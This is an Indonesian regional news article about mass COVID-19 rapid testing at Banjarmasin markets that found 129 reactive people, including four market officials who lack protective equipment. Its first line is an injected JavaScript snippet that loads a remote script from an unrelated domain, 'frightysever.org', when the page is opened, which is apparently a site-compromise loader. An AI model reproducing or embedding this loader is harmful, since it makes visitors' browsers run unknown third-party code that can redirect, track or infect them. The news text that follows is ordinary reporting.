(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Rapid test massal yang digelar Dinas Kesehatan Kota Banjarmasin di enam pasar besar beberapa waktu lalu, menghasilkan 129 orang reaktif. Kabid Pasar Dinas Perdagangan dan Perindustrian (Disdagin) Kota Banjarmasin Ichrom Muftezar mengakui, dari jumlah tersebut, empat orang di antaranya petugas pasar. Kendati ia tidak merincikan di pasar mana saja yang dimaksud.
“Ada dari petugas-petugas kami yang dari hasil rapid test kemarin empat orang petugas pasar yang dinyatakan reaktif,” katanya, Rabu (27/5/2020) siang.
Tezar -sapaan akrabnya- menambahkan, ada satu orang petugas pasar yang menjalani perawatan di RSUD Ulin Banjarmasin. Menurutnya, petugas yang dirawat ini bertugas sebagai penagih pasar yang menggunakan mobil keliling. “Belum, hasil swab-nya belum (keluar). Kondisinya saat ini sedang diisolasi, kita doakan untuk kesembuhan beliau,” harapnya.
Lalu, apakah diperlukan penggunaan alat pelindung diri (APD) bagi petugas pasar? Tezar mengatakan, APD sangat diperlukan untuk petugas pasar. Seperti masker, sarung tangan.
Karena, selain memberikan imbauan kepada warga pasar yaitu pedagang dan pembeli, petugas pasar juga menarik retribusi pasar. Tentunya, petugas pasar pun “bersentuhan” dengan uang retribusi yang didapat dari pedagang. “Sementara ini kita mandiri, kita beli masker sendiri. Terus juga ada kawan-kawan yang menyisihkan pendapatannya untuk membeli sarung tangan,” ucapnya.
Diakui Tezar, banyak kendala yang dihadapi Disdagin Kota Banjarmasin terutama saat pandemi Covid-19 dan pelaksanaan Pembatasan Sosial Berskala Besar (PSBB). Di mana, didapati masih banyak pedagang dan pembeli di pasar yang tidak menggunakan masker.
Sehingga ia berharap, baik pedagang maupun pembeli di pasar untuk tertib melaksanakan protokol kesehatan. Guna memutus mata rantai penularan Covid-19.
Di samping itu, Tezar mengklaim jajarannya telah mengupayakan penyemprotan disinfektan di pasar-pasar di Kota Banjarmasin. Penyemprotan sendiri mulai dilakukan semenjak Kota Banjarmasin menetapkan status tanggap darurat Covid-19. “Kalau tidak salah kita pinjam alatnya. Punya kita sendiri ada satu buah dikasih pedagang, yang lainnya kita pinjam dari kecamatan,” pungkas Tezar. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.